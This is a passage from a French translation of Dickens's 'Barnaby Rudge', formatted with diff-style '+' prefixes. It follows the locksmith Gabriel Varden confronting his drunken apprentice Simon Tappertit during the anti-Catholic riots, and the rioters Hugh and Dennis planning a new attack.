+avait son aspect ordinaire. Les catholiques bourgeois ou
+marchands, en assez grand nombre dans la Cité et ses faubourgs,
+n'avaient pas d'inquiétude pour leurs biens ou leurs propriétés;
+peut-être même n'avaient-ils pas vu avec une grande indignation le
+tort qu'on leur avait déjà fait en pillant et détruisant leurs
+églises. Une foi sincère dans le gouvernement, dont la protection
+leur était acquise depuis bien des années, et une confiance en
+apparence bien fondée dans les bons sentiments et le jugement de
+la grande masse de leurs concitoyens, avec lesquels, malgré leur
+différence d'opinions religieuses, ils vivaient tous les jours sur
+le pied de l'intimité, de l'affection, de l'amitié, les
+rassuraient contre le renouvellement des excès commis la veille.
+Ils étaient convaincus qu'il ne fallait pas plus rendre les vrais
+protestants responsables de ces outrages, qu'il n'eût été juste
+d'attribuer aux catholiques le billot, la question, le gibet et le
+poteau qui avaient déshonoré le règne de Marie.
+
+La pendule allait sonner une heure, et Gabriel Varden avec sa dame
+et miss Miggs, étaient encore assis dans le petit salon à
+attendre. Le fait par lui-même n'était déjà pas ordinaire. Mais la
+mèche languissante des chandelles tristes et coulantes, le silence
+qui régnait parmi eux, et, par-dessus tout, les bonnets de nuit de
+madame et de sa gouvernante, montraient bien qu'il y avait
+longtemps qu'on était prêt à se mettre au lit, si l'on n'avait pas
+eu de fortes raisons d'attendre sur sa chaise bien après l'heure
+accoutumée.
+
+À défaut d'autres preuves, on en aurait trouvé un témoignage
+suffisant dans la tenue de Mlle Miggs. Arrivée à cet état de
+sensibilité nerveuse et d'agitation du système qui résultent d'une
+veille prolongée, elle ne cessait de se frotter le nez et de se
+tortiller sur place, comme si sa chaise était rembourrée de noyaux
+de pêches qui lui rendissent à chaque instant un changement de
+position désirable: elle faisait de même à ses paupières des
+frictions fréquentes, sans oublier les petites toux, les petits
+gémissements, les tressaillements spasmodiques, les bâillements,
+les reniflements, mille autres démonstrations de même nature, qui
+avaient fini par tellement agacer et taquiner la patience du
+serrurier, qu'après l'avoir quelque temps regardée en silence, il
+éclata par cette apostrophe soudaine:
+
+«Miggs, ma bonne fille, allez vous coucher; allez vous coucher.
+J'aimerais mieux entendre, goutte à goutte, tomber pendant une
+heure la pluie de vingt-cinq gouttières, ou vingt-cinq souris
+grignoter une croûte derrière le lambris, que de vous voir comme
+ça. Allez-vous coucher, Miggs: allez, vous m'obligerez.
+
+-- C'est que vous n'avez rien qui vous chiffonne, monsieur,
+répondit Mlle Miggs; aussi votre proposition ne m'étonne pas du
+tout. Mais madame n'est pas comme vous... et tant que vous ne
+serez pas tranquille, madame, ajouta-t-elle en se tournant vers la
+femme du serrurier, il me serait impossible d'aller maintenant me
+coucher l'esprit en paix, quand toutes les gouttières dont parlait
+monsieur me courraient dans le dos, avec leur eau glacée.»
+
+Après cette déclaration, Mlle Miggs fit une foule d'efforts et de
+tours d'épaule pour se frotter une démangeaison fictive dans une
+place imaginaire, et eut la chair de poule de la tête aux pieds,
+voulant par là faire entendre que la cascade en question lui
+dégringolait tout du long, mais que le sentiment du devoir la
+retenait sous cette douche cruelle, comme elle endurcirait sa
+patience contre toutes les autres souffrances.
+
+Mme Varden étant trop assoupie pour pouvoir parler, et Mlle Miggs
+ayant dit tout ce qu'elle avait à dire, le serrurier, lui, n'eut
+rien de mieux à faire que de soupirer et de prendre patience comme
+il pourrait.
+
+Mais quelle patience d'ange n'aurait-il pas fallu pour rester
+tranquille en face d'un pareil basilic? S'il regardait d'un autre
+côté pour ne pas la voir, c'était encore pis; il sentait qu'elle
+se frottait la joue, se tordait l'oreille, clignait ses yeux,
+donnait à son nez toutes les formes les plus hétéroclites. Si elle
+était un moment délivrée de ces petits maux, c'est qu'elle avait
+le pied engourdi, ou des impatiences dans les bras, ou une crampe
+à la jambe, ou quelque autre maladie horrible qui mettait tout son
+être à la torture. Jouissait-elle enfin d'un moment de repos:
+alors, fermant les yeux, ouvrant la bouche, on la voyait droite et
+roide sur sa chaise; puis elle penchait un peu la tête en avant,
+et s'arrêtait comme avec un ressort, crac. Puis encore la tête
+descendait un tantinet; le ressort jouait: elle s'arrêtait, crac.
+Puis elle reprenait son assiette. L'instant d'après, la tête
+tombait, tombait, tombait insensiblement. Ah! mon Dieu! c'est
+fini, elle va perdre l'équilibre; le pauvre serrurier sue sang et
+eau de peur qu'elle ne se fasse une bosse au front et peut-être ne
+se fracture le crâne: décidément il va la réveiller. Mais, non,
+pas du tout; sans qu'on sache pourquoi ni comment, la voilà roide
+et droite comme un I, les yeux tout grands ouverts, avec une
+expression provocante dans sa physionomie, car le sommeil ne lui a
+rien fait rabattre de son obstination, et elle a l'air de vous
+dire tout net: «Je puis vous donner ma parole d'honneur que je
+n'ai pas seulement fermé les yeux depuis la dernière fois que je
+vous ai regardé.»
+
+À la fin des fins, quand l'horloge eut sonné deux heures, on
+entendit un bruit à la porte de la rue, comme si quelqu'un était
+tombé par accident contre le marteau. Aussitôt Mlle Miggs, sautant
+sur ses pieds et frappant des mains, cria, par un singulier
+mélange du sacré et du profane: «Dieu tout-puissant, mame, c'est
+le coup de marteau de Simon.
+
+-- Qui est là? cria Gabriel.
+
+-- Moi,» répondit la voix bien connue de M. Tappertit. Gabriel lui
+ouvrit la porte et le fit entrer.
+
+M. Simon n'était pas à son avantage. Un homme de sa taille n'avait
+pas dû être à son aise dans la foule, et, comme il avait joué un
+rôle actif dans les parades et les bousculades de la veille, ses
+habits étaient littéralement tout aplatis des pieds à la tête.
+Quant à son chapeau, il avait subi tant de renfoncements, qu'il
+n'avait plus de forme du tout, et ses souliers éculés auraient
+plutôt passé pour des savates. Son habit flottait par morceaux
+autour de lui; il avait perdu à la bataille ses boucles de culotte
+et d'escarpins; il ne lui restait plus qu'une moitié de cravate,
+et le devant de sa chemise était déchiré en lambeaux. Cependant,
+malgré tous ces désavantages personnels, malgré sa faiblesse, son
+échauffement et sa fatigue, malgré la poussière et la crotte dont
+il était si bien barbouillé que, s'il avait été renfermé dans une
+boîte, il n'aurait pas été plus difficile de reconnaître de quelle
+étoffe était sa peau; malgré tout cela, il s'avança fièrement dans
+le petit salon, se jeta sur une chaise, et faisant tout ce qu'il
+pouvait pour fourrer ses mains dans ses goussets, dont la poche
+retournée était étalée le long de ses cuisses et pendillait comme
+un gland de bonnet de coton, il se mit à considérer le ménage avec
+une dignité sombre.
+
+«Simon, dit gravement le serrurier, comment se fait-il que vous
+reveniez au logis à des heures pareilles et dans l'état où vous
+êtes? Donnez-moi votre parole que vous n'êtes pas allé avec les
+émeutiers, et je ne vous en demanderai pas davantage.
+
+-- Monsieur, répliqua M. Tappertit avec un air de mépris, je vous
+trouve bien hardi de me faire une question pareille.
+
+-- Vous venez de boire un coup, dit le serrurier.
+
+-- En principe général, monsieur, et dans le sens le plus
+injurieux du mot, répliqua l'élève à son bourgeois avec un grand
+calme, je vous considère comme un menteur. Mais dans cette
+dernière supposition, je dois dire que, sans le vouloir... sans le
+vouloir, monsieur, vous avez mis le nez dessus.
+
+-- Marthe, dit le serrurier se retournant vers sa femme, et
+secouant la tête tristement, pendant que sa figure ouverte
+dissimulait mal un sourire en présence de l'absurde personnage
+étendu devant lui, je suis sûr que l'on finira par reconnaître que
+le pauvre garçon ne se sera pas compromis avec les fous et les
+mauvais sujets dont nous avons tant parlé, et qui ont fait ce soir
+tant de mal. S'il a été à Warwick-Street ou à Duke-Street cette
+nuit...
+
+-- Il n'a été ni à l'un ni à l'autre, monsieur,» cria M. Tappertit
+d'une voix élevée qui finit tout à coup en une espèce de
+grognement sourd, répétant au serrurier, sur lequel il avait les
+yeux fixés: «Il n'a été ni à l'un ni à l'autre.
+
+-- J'en suis bien aise, de tout mon coeur, dit le serrurier d'un
+ton sérieux: car s'il y était allé, et qu'on pût l'en convaincre,
+voyez-vous, Marthe, votre grande Association serait devenue pour
+lui la charrette du bourreau qui mène les gens à la potence, et
+les laisse là les jambes en l'air. Aussi sûr que nous sommes de ce
+monde, vous et moi.»
+
+Mme Varden était trop effrayée du changement qui s'était opéré
+dans les manières et l'extérieur de Simon; elle était surtout trop
+épouvantée des récits qui lui avaient été faits ce soir-là sur le
+compte des émeutiers, pour hasarder aucune réponse, ni recourir à
+son système ordinaire de politique matrimoniale. Mlle Miggs se
+tordait les mains et pleurait.
+
+«Il n'a pas été à Duke-Street, ni à Warwick-Street, Georges
+Varden, dit Simon d'un air farouche; mais il a été à Westminster.
+Peut-être bien que là, monsieur, il aura donné des coups de pied à
+quelque membre de la chambre et des taloches à quelque lord... Ah!
+cela vous étonne! Eh bien! je vais vous le répéter. Il a pu en
+faire saigner quelques-uns du nez et donner de bonnes taloches à
+quelque lord. Qui sait? ajouta-t-il en portant la main à la poche
+de son gilet, ce cure-dent-là, et il tira un large cure-dent, qui
+fit pousser à la fois un cri à Miggs et à Mme Varden, c'était
+peut-être celui d'un évêque. Voyez-vous, Georges Varden?
+
+-- Tenez, dit le serrurier vivement, j'aimerais mieux qu'il m'en
+eut coûté cinq cents guinées, et que cela ne fût pas arrivé. Idiot
+que vous êtes, savez-vous seulement le danger que vous courez?
+
+-- Oui, monsieur, je le sais, et je m'en fais gloire. J'y étais,
+et tout le monde a pu m'y voir. J'étais en vue, j'étais dans les
+honneurs de la chose. J'en braverai les conséquences.»
+
+Le serrurier, réellement troublé et agité, se promenait
+silencieusement de long en large, jetant de temps en temps un coup
+d'oeil sur son apprenti; enfin s'arrêtant devant lui:
+
+«Croyez-moi, dit-il, allez vous coucher, ne fût-ce qu'une couple
+d'heures, pour vous réveiller de sens rassis et repentant. Montrez
+seulement du regret de ce que vous avez, fait, et nous essayerons
+de vous sauver de là. Si je le réveille à cinq heures, dit Varden
+à sa femme vers laquelle il s'était tourné brusquement, il n'aura
+qu'à se lever et changer d'habits; puis après cela il pourra
+gagner l'escalier de la Tour, et partir pour Gravesend par le
+chasse-marée, avant qu'on ait fait des recherches contre lui. De
+là il peut aisément gagner Canterbury, où votre cousin lui donnera
+de l'ouvrage jusqu'à ce que l'orage soit passé. Je ne suis pas
+bien sûr d'agir comme il faut en le sauvant du châtiment qu'il
+mérite; mais il a demeuré chez nous douze ans au moins, petit
+garçon ou homme fait, et je serais désolé qu'il finît mal, pour un
+jour qu'il s'est mal conduit. Allez fermer la porte de devant,
+Miggs, et qu'on ne voie pas votre lumière dans la rue, quand vous
+monterez dans votre chambre. Allons! vite, Simon, allons nous
+coucher!
+
+-- Et vous supposez, monsieur, répliqua M. Tappertit avec une
+difficulté et une lenteur d'élocution qui formaient un contraste
+parfait avec la rapidité et l'élan de son excellent maître... Et
+vous supposez que je suis assez bas et assez vil pour accepter
+votre proposition humiliante?... Mécréant!
+
+-- Tout ce que vous voudrez, monsieur, mais allez vous coucher. Il
+n'y a pas une minute à perdre. Miggs, par ici la lumière.
+
+-- Oui! oui! allez, allez vous coucher tout de suite,» crièrent
+les deux femmes à la fois.
+
+M. Tappertit se leva sur ses jambes, et, repoussant sa chaise pour
+montrer qu'il n'avait pas besoin de son assistance, il répondit en
+se promenant à son tour de long en large, mais sans pouvoir
+décider sa tête à se mettre d'accord dans ses mouvements avec son
+corps.
+
+«Qu'est-ce que vous me parliez de Miggs, monsieur? On pourrait
+bien la brûler vive, votre Miggs.
+
+-- Oh! Simon, éjacula la demoiselle d'une voix défaillante; Dieu
+de Dieu! quel coup il vient de me donner!
+
+-- Toute la famille ici, on pourrait bien la brûler vive,
+monsieur, reprit M. Tappertit en la regardant avec un sourire
+d'ineffable dédain, excepté Mme Varden, pour laquelle je suis venu
+ici ce soir. Madame Varden, prenez ce morceau de papier. C'est une
+sauvegarde, madame, vous pourrez en avoir besoin.»
+
+À ces mots, il tendit à la longueur du bras un sale chiffon de
+papier. Le serrurier le prit, l'ouvrit, et lut ce qui suit:
+
+_Tous les bons amis de notre Cause auront grand soin, j'espère, de
+respecter la propriété de tout fidèle protestant. Je sais
+pertinemment que le propriétaire de céans est un solide et
+respectable partisan de la Cause._
+
+_Georges Gordon._
+
+«Qu'est-ce que c'est que ça? dit le serrurier en changeant de
+visage.
+
+-- C'est quelque chose qui peut vous rendre service, mon jeune
+cadet, répliqua son apprenti, et vous ne serez pas fâché de le
+retrouver dans l'occasion. Serrez-moi ça soigneusement, et dans un
+endroit où vous puissiez mettre tout de suite la main dessus, en
+cas de besoin. Et n'oubliez pas d'écrire demain soir à la craie,
+sur votre porte, pour au moins huit jours: Pas de papisme! voilà
+tout!
+
+-- C'est, ma foi, une pièce authentique, dit le serrurier après
+examen; je reconnais l'écriture. Il y a quelque danger là-dessous.
+Quel diable y a-t-il donc en jeu?
+
+-- Un diable de feu, repartit Simon, un diable de flamme et de
+colère. Tâchez de vous garer de son chemin, ou vous y resterez,
+mon cher. Vous ne direz pas qu'on ne vous a pas averti; c'est à
+vous maintenant à vous tenir sur vos gardes. Adieu!»
+
+Mais ici les deux femmes se jetèrent au-devant de lui, surtout
+Mlle Miggs, qui lui tomba sur le corps avec tant de ferveur
+qu'elle le colla contre la muraille, en le conjurant l'une et
+l'autre, dans les termes les plus émouvants, de ne pas sortir
+avant d'avoir repris son bon sens; d'entendre enfin raison, de
+réfléchir à ce qu'il allait faire; de prendre un peu de repos,
+après quoi il serait toujours à même de faire ce qu'il voudrait.
+
+«Quand je vous dis que je suis décidé! la patrie sanglante
+m'appelle, et j'y vais. Miggs, si vous ne vous ôtez pas de mon
+chemin, vous allez vous faire pincer.»
+
+Mlle Miggs, toujours accrochée au rebelle, poussa un cri
+douloureux, un seul cri; mais était-ce dans les transports de son
+émotion, était-ce parce que son ennemi venait d'exécuter sa
+menace? c'est encore un mystère.
+
+«Allez-vous me lâcher? dit Simon, faisant des efforts désespérés
+pour se dégager de la chaste, mais étouffante étreinte de
+l'araignée qui l'enveloppait dans ses bras. Laissez-moi m'en
+aller. Je vous ai assuré un sort dans notre constitution nouvelle
+de la Société, un joli petit sort... là! êtes-vous contente?
+
+-- Ô Simon! cria Mlle Miggs, ô Simon béni! ô mame! si vous saviez
+où en sont mes sentiments en ce moment d'épreuve!»
+
+Ma foi! ses sentiments avaient bien l'air d'être d'une nature
+assez turbulente. Elle avait perdu son bonnet à la bataille, elle
+était à genoux sur le carreau, révélant sans pudeur aux assistants
+la plus étrange collection de papillotes bleues et de papillotes
+jaunes, de tours de cheveux suspects, d'aiguillettes, de lacets de
+corset, de cordons, on ne peut vraiment pas dire de quoi. Elle
+était pantelante, elle crispait ses mains; on ne lui voyait que le
+blanc des yeux; elle pleurait comme une Madeleine: enfin, elle
+montrait tous les symptômes les plus aigus d'une grande souffrance
+morale.
+
+«Je laisse ici, dit Simon se tournant vers le bourgeois, sans
+faire seulement attention à l'affliction virginale de Mlle Miggs,
+je laisse au premier une caisse d'effets: vous en ferez ce que
+vous voudrez. Moi, je n'en ai pas besoin. Je ne reviendrai plus
+ici. Vous n'avez, monsieur, qu'à chercher un ouvrier: je ne suis
+plus l'ouvrier que de ma patrie; désormais voilà dans quelle
+partie je travaille.
+
+-- Dans deux heures d'ici vous ferez tout ce que vous voudrez;
+mais, pour le moment, allez vous coucher, reprit le serrurier en
+se plantant devant le passage de la porte. Vous m'entendez? allez-
+vous coucher.
+
+-- Oui, je vous entends, et je me moque de vous, Varden, répondit
+Simon Tappertit. J'ai été ce soir à la campagne, arranger une
+expédition qui fera tressaillir de crainte votre âme de serrurier,
+poseur de sonnettes. C'est une affaire qui demande toute mon
+énergie: laissez-moi passer.
+
+-- Si vous faites seulement mine d'approcher de la porte, je vous
+flanque par terre: ainsi vous ferez bien d'aller vous coucher!
+
+Simon, sans rien répondre, se releva aussi droit qu'il put, et
+piqua une tête dans le beau milieu de la poitrine de son vieux
+patron, sur quoi les voilà tous les deux dans la boutique,
+accrochés l'un à l'autre, les mains et les pieds si bien
+entortillés, qu'on aurait cru voir en peloton une demi-douzaine de
+combattants pour le moins; je crois même que Miggs et Mme Varden
+en comptaient douze, au milieu de leurs cris perçants.
+
+Varden n'aurait pas eu de mal à terrasser son ancien apprenti et à
+le réduire, pieds et poings liés. Mais il lui répugnait de le
+malmener dans cet état d'ivresse sans défense: il se contentait
+donc de parer, quand il pouvait, ses coups, les acceptant pour
+bons quand il ne pouvait pas les parer, restant toujours entre
+Simon et la porte, et attendant qu'il se rencontrât quelque
+occasion favorable de le forcer à faire retraite dans l'escalier
+et de l'enfermer sous clef dans sa chambre. Mais le brave homme
+avait trop compté sur la faiblesse de son adversaire; il n'aurait
+pas dû oublier que souvent tel ivrogne, qui n'a plus la force de
+se soutenir, n'en court pas moins comme un lapin. Simon Tappertit,
+prenant le temps à propos, fit traîtreusement semblant de tomber
+en arrière, et, pendant que l'autre se baissait pour le ramasser,
+il fut, en un clin d'oeil, sur ses jambes, passa devant lui
+brusquement, ouvrit la porte, dont il connaissait bien le truc, et
+se précipita dans la rue comme un chien enragé. Le serrurier
+s'arrêta un moment, dans l'excès de sa stupéfaction, puis lui
+donna la chasse.
+
+On ne pouvait pas mieux choisir le moment pour courir; à cette
+heure silencieuse les rues étaient désertes, l'air frais; la
+figure qu'il poursuivait se voyait clairement à distance, fuyant
+comme un trait, avec une ombre longue et gigantesque sur ses
+talons. Mais le pauvre serrurier était un peu poussif pour espérer
+de vaincre à la course un jeune homme comme Simon, que la graisse
+n'empêchait pas de courir: ah! autrefois, à la bonne heure, il
+l'aurait rattrapé en un rien de temps. Aussi commençait-il à être
+bien distancé, et, au moment où les premiers rayons du soleil
+levant vinrent éblouir Gabriel Varden, au tournant d'une rue, il
+ne fut pas fâché d'abandonner la partie et de s'asseoir sur une
+marche pour reprendre haleine. Pendant ce temps-là, Simon, sans
+s'arrêter une fois, fuyait toujours avec la même rapidité dans la
+direction de la Botte, où il savait bien qu'il allait retrouver
+des camarades. Cette respectable auberge, déjà avantageusement
+connue pour avoir attiré sur elle l'oeil de la police, avait même
+organisé pour la circonstance une surveillance amicale, et placé
+des vedettes pour attendre le retour du petit capitaine.
+
+«Fais comme tu voudras, Simon, fais comme tu voudras, dit le
+serrurier, aussitôt qu'il put recouvrer l'usage de la parole. J'ai
+fait ce que j'ai pu pour te sauver, mon pauvre garçon; mais je
+vois bien que c'est inutile, et que tu te mets toi-même la corde
+au col.»
+
+En même temps il branla la tête d'un air triste et découragé,
+revint sur ses pas, se dépêcha de rentrer chez lui, où il trouva
+Mme Varden et la fidèle Miggs qui attendaient avec impatience son
+retour.
+
+Or, Mme Varden, et par conséquent aussi Mlle Miggs, étaient
+troublées par de secrets reproches qu'elles s'adressaient en
+elles-mêmes. Voilà ce que c'est que d'avoir aidé et soutenu, de
+toutes ses forces, le commencement d'un désordre dont personne à
+présent ne pouvait plus prévoir la fin! Voilà ce que c'est que
+d'avoir indirectement amené la scène dont elles venaient d'être
+témoins! À présent, c'était au serrurier à triompher et à faire
+des reproches. Cette dernière pensée surtout était si cruelle à
+Mme Varden, qu'elle en avait l'oreille basse, et que, pendant que
+son mari était à la poursuite de leur ouvrier échappé, elle
+cachait sous sa chaise la petite maison en brique rouge avec son
+toit jaune, de peur que sa vue ne fournit quelque occasion
+nouvelle de revenir sur ce sujet pénible; et c'est pour cela
+qu'elle la cachait tant qu'elle pouvait sous ses jupes.
+
+Mais justement le serrurier avait songé à cet article en route, et
+il ne fut pas plutôt rentré, qu'il le chercha des yeux dans la
+chambre, et, ne le trouvant pas, demanda tout de suite où il
+était.
+
+Mme Varden n'avait pas d'autre ressource que de livrer sa
+tirelire, ce qu'elle fit avec bien des larmes et des protestations
+que si elle avait su ça...
+
+«Oui, oui, dit Varden, c'est trop juste. Je le sais bien. Ce n'est
+pas pour vous en faire reproche, ma chère. Mais rappelez-vous une
+autre fois que, de toutes les mauvaises choses, il n'y en a pas de
+pires que les bonnes, quand on en fait un mauvais usage. Une
+méchante femme, tenez! c'est bien méchant. Eh bien! quand la
+religion fait fausse route, c'est la même chose; mais n'en parlons
+plus, ma chère.»
+
+Là-dessus, il laissa tomber la maisonnette de brique rouge sur le
+carreau, mit le talon dessus, et l'écrasa en mille morceaux. Les
+gros sols, les petits sols, les pièces de six pence et les autres
+contributions volontaires roulèrent dans tous les coins de la
+chambre, sans que personne songeât à les toucher pour les
+ramasser.
+
+«Voilà quelque chose, dit le serrurier, de bien facile à faire;
+plût à Dieu que les autres oeuvres de la même Société ne
+présentassent pas plus de difficultés!
+
+-- Par bonheur encore, Varden, lui dit sa femme en s'essuyant les
+yeux avec son mouchoir, qu'en cas de nouveaux troubles... j'espère
+bien qu'il n'y en aura pas, je le souhaite de tout mon coeur...
+
+-- Et moi aussi, ma chère.
+
+-- Dans ce cas-là, du moins, nous avons le papier que ce pauvre
+jeune homme égaré nous a apporté.
+
+-- Ah! tiens! c'est vrai! dit le serrurier se retournant vivement.
+Où est-il donc, ce papier?»
+
+Mme Varden resta toute tremblante de peur, en lui voyant prendre
+dans ses mains la sauvegarde, la déchirer en mille morceaux et les
+jeter dans l'âtre.
+
+«Vous ne voulez pas vous en servir? dit-elle.
+
+-- M'en servir! cria le serrurier. Oh! que non! Ils peuvent venir,
+s'ils veulent, nous écraser sous notre toit renversé, brûler notre
+maison, notre cher logis: je ne veux pas plus de la protection de
+leur chef que je ne veux inscrire leur hurlement d'antipapisme sur
+ma porte, quand ils devraient me fusiller. M'en servir! Qu'ils
+viennent, je les en défie. Le premier qui descend le pas de ma
+porte pour ça ne le remontera pas si vite. Que les autres fassent
+ce qu'ils voudront, mais ce n'est pas moi qui irai mendier leur
+pardon; non, non, quand on me donnerait autant d'or pesant que
+j'ai de fer dans ma boutique. Allez-vous coucher, Marthe. Moi, je
+vais descendre les volets et me mettre au travail.
+
+-- Si matin? lui dit sa femme.
+
+-- Oui, répondit gaiement le serrurier, si matin. Ils peuvent
+venir quand ils voudront, ils ne me trouveront pas à me cacher et
+à fouiner, comme si nous avions peur de prendre notre part de la
+lumière du jour, pour la leur laisser tout entière. Ainsi, bon
+sommeil, ma chère, et de bons rêves que je vous souhaite.»
+
+En même temps il donna un baiser cordial à sa femme, en lui
+recommandant de ne pas perdre de temps, sans quoi il serait
+l'heure de se lever avant qu'elle fût seulement couchée.
+Mme Varden monta l'escalier, d'une humeur douce et aimable, suivie
+de Miggs, qui n'était pas non plus si revêche; mais, malgré ça,
+elle ne pouvait s'empêcher, tout le long du chemin, d'avoir des
+quintes de toux sèche, des reniflements et des hélas! en levant
+les mains au ciel, comme pour dire, dans son profond étonnement:
+«C'est égal, la conduite de notre maître est bien hardie.»
+
+
+
+
+CHAPITRE X.
+
+
+L'émeute est une créature d'une existence mystérieuse, surtout
+dans une grande ville. D'où vient-elle et où va-t-elle? presque
+personne n'en sait rien. Elle s'assemble, elle se disperse avec la
+même rapidité. Il n'est pas plus facile de remonter aux
+différentes sources dont elle se compose qu'à celle des flots de
+la mer, avec laquelle elle a plus d'un trait de ressemblance: car
+l'Océan n'est pas plus changeant, plus incertain, ni plus
+terrible, quand il soulève ses vagues; il n'est pas plus cruel ni
+plus insensé dans sa furie.
+
+Les gens qui étaient allés faire du tapage à Westminster le
+vendredi matin, et qui avaient accompli le soir l'oeuvre de
+dévastation plus sérieuse de Duke-Street et de Warwick-Street,
+étaient, en général, les mêmes. Sauf quelques misérables de plus,
+que tous les rassemblements sont moralement sûrs de s'adjoindre
+dans une ville où il doit y avoir un plus grand nombre de
+fainéants et de mauvais sujets, on peut dire que l'émeute, dans
+ces deux rencontres, était formée des mêmes éléments. Cependant,
+quand elle fut dispersée dans l'après-midi, elle s'était
+éparpillée dans diverses directions: il n'y avait pas eu de
+nouveau rendez-vous donné, pas de plan conçu ou médité; en un mot,
+à ce qu'ils pouvaient croire, ils s'en retournaient chacun chez
+eux, sans espoir de se réunir encore.
+
+À l'enseigne de _la Botte_, le quartier général, comme nous avons
+vu, des émeutiers, il n'y en avait pas, le vendredi soir, une
+douzaine: deux ou trois dans l'écurie et les remises, où ils
+passaient la nuit; autant dans la salle commune; le même nombre
+couchés dans les lits. Le reste était retourné dans leurs logis ou
+plutôt dans leurs repaires ordinaires. Peut-être parmi ceux qui
+étaient étendus dans les champs et les sentiers voisins, au pied
+des meules de foin, ou près des fours à chaux, n'y en avait-il pas
+une vingtaine qui eussent un domicile. Mais quant aux autres
+réduits publics, aux loueurs, aux garnis, ils avaient à peu près
+leur compte de leurs locataires ordinaires, et pas d'étrangers;
+ils avaient leur total régulier de vice et de turpitude, auquel
+ils étaient accoutumés, mais pas plus.
+
+L'expérience d'une seule soirée, cependant, avait suffi pour
+donner la preuve à ces chefs d'émeute, à ces catilinas de
+rencontre, qu'ils n'avaient qu'à se montrer dans les rues pour
+voir à l'instant se réunir autour d'eux des bandes qu'ils
+n'auraient pu garder rassemblées, quand ils n'en avaient plus que
+faire, sans beaucoup de dangers, de peine et de frais. Une fois
+maîtres de ce secret, ils se sentirent la même assurance que s'ils
+avaient autour d'eux un camp de vingt mille soldats, dévoués à
+leurs ordres. Toute la journée du samedi, ils restèrent
+tranquilles. Le dimanche, ils songèrent plutôt à tenir leurs gens
+en haleine qu'à poursuivre sérieusement, par quelque mesure
+énergique, l'exécution de leurs premiers projets.
+
+«J'espère, dit Dennis, bâillant de grand coeur le dimanche matin,
+et se relevant sur son séant d'une botte de paille qui lui avait
+servi de lit pour la nuit, en même temps qu'il s'appuyait la tête
+dans sa main et réveillait Hugh, étendu près de lui; j'espère que
+maître Gashford va nous laisser faire notre dimanche; à moins
+qu'il ne veuille déjà nous remettre à l'ouvrage, hein?
+
+-- Il n'aime pas à laisser languir les choses, on peut être sûr de
+ça, répondit Hugh en grognant. Et pourtant je ne me sens pas bien
+disposé à bouger de là. Je suis roide comme un cadavre, et couvert
+de sales égratignures, comme si j'avais passé la journée à me
+battre avec des chats sauvages.
+
+-- Dame! aussi, vous avez tant d'enthousiasme! dit Dennis
+regardant avec admiration la tête mal peignée, la barbe emmêlée,
+les mains déchirées, la figure égratignée du farouche camarade
+qu'il avait là; vous êtes un vrai démon! vous vous faites cent
+fois plus de mal qu'il n'est nécessaire, par l'envie que vous avez
+d'être toujours en avant, et d'en faire plus que les autres.
+
+-- Pour ce qui est de ça, répliqua Hugh, rejetant en arrière ses
+cheveux épars et lançant un coup d'oeil à la porte de l'écurie où
+ils étaient couchés, en voilà un là qui me vaut bien. Qu'est-ce
+que je vous avais promis? Quand je vous disais qu'il en valait une
+douzaine à lui tout seul, et pourtant vous n'aviez pas confiance
+en lui!»
+
+M. Dennis, encore endormi et plié en deux, releva son menton dans
+sa main, pour imiter l'attitude de Hugh, et lui dit en regardant
+aussi dans la direction de la porte:
+
+«C'est vrai, c'est vrai, frère, vous le connaissiez bien. Mais qui
+supposerait jamais, à voir ce garçon-là, qu'il pût faire de telles
+prouesses? Quel dommage, frère, qu'au lieu de prendre un peu de
+repos, comme nous, pour se préparer à faire des nouveaux efforts
+en faveur de notre honorable Cause, il s'amuse à jouer au soldat
+comme un bambin! Et voyez donc aussi comme il est propre,
+continuait M. Dennis, qui n'avait pas du tout de raison de se
+sentir quelque sympathie pour les gens délicats sur cet article;
+comme on voit bien son imbécillité jusque dans cet excès de
+propreté! à cinq heures du matin, il était déjà à la pompe, quand
+tout le monde aurait parié qu'il devait être assez fatigué
+d'avant-hier, pour avoir encore besoin de dormir à cette heure-là.
+Mais pas du tout; je me suis éveillé seulement une minute ou deux,
+et il était déjà à la pompe. Et encore, il fallait le voir planter
+sa plume de paon dans son chapeau, quand il a eu fini de se laver!
+Ah! je suis bien fâché que ce soit un esprit si borné; mais que
+voulez-vous? le meilleur d'entre nous a ses défauts.»
+
+Le sujet de ce dialogue et de cette conclusion proclamée d'un ton
+de réflexion philosophique n'était autre, comme s'en doutent bien
+nos lecteurs, que Barnabé, qui, son drapeau en main, se tenait en
+faction au soleil devant la porte éloignée, se promenant
+quelquefois de long en large et chantonnant sur l'air du carillon
+que faisaient entendre les cloches des églises voisines. Mais
+qu'il se tint tranquille, les deux mains appuyées sur la hampe de
+son drapeau, ou qu'il le mit sur son épaule, pour monter la garde
+d'un pas grave et mesuré, le soin avec lequel il avait arrangé sa
+pauvre toilette, son port droit et fier, montraient toute
+l'importance qu'il attachait au poste qu'on lui avait confié, et
+l'orgueil qu'il en ressentait dans son âme. De l'endroit où Hugh
+et son camarade étaient étendus dans l'ombre obscure du hangar,
+Barnabé, avec la soleil, et le carillon pacifique du dimanche
+qu'il accompagnait de la voix, formait un charmant tableau de
+genre, auquel la porte servait de cadre, comme l'obscurité de
+l'écurie lui servait du fond. Ce tableau avait un pendant: c'était
+celui qu'ils représentaient de leur côté, se vautrant, comme des
+animaux immondes, dans leur fumier et leur corruption sur leur
+litière. Eux-mêmes, ils en sentaient le contraste; ils regardèrent
+quelques moments sans rien dire, et d'un air un peu douteux:
+
+«Ah! dit Hugh à la fin, avec un grand éclat de rire, le drôle de
+corps que ce Barnabé! il n'y en a pas un parmi nous qui puisse en
+faire autant, sans dormir, boire ni manger, comme lui. Quant à ce
+que vous disiez qu'il joue au soldat, c'est moi qui l'ai mis là en
+faction.
+
+-- Alors c'est que vous aviez une raison pour ça, et une bonne, je
+gage, répliqua Dennis en montrant toutes ses dents à force de rire
+et jurant comme un païen. Pourquoi donc ça, frère?
+
+-- Dame! vous savez, lui dit Hugh en se rapprochant de lui sur sa
+paille, que notre noble capitaine de là-bas était joliment dedans
+hier matin, et puis encore, comme vous et moi, un peu plus en
+train hier au soir.»
+
+Dennis regarda dans ce coin où Simon Tappertit gisait enfoncé dans
+une botte de foin, ronflant comme une toupie, et remua la tête en
+signe d'assentiment.
+
+«Et notre noble capitaine, continua Hugh, encore avec un éclat de
+rire, notre noble capitaine et moi nous avons fait pour demain le
+plan d'une expédition éclatante... et profitable.
+
+-- Encore les papistes? demanda Dennis en se frottant les mains.
+
+-- Oui, contre les papistes; contre un papiste au moins avec qui
+plusieurs d'entre nous, et moi tout le premier, nous avons un
+vieux compte à régler.
+
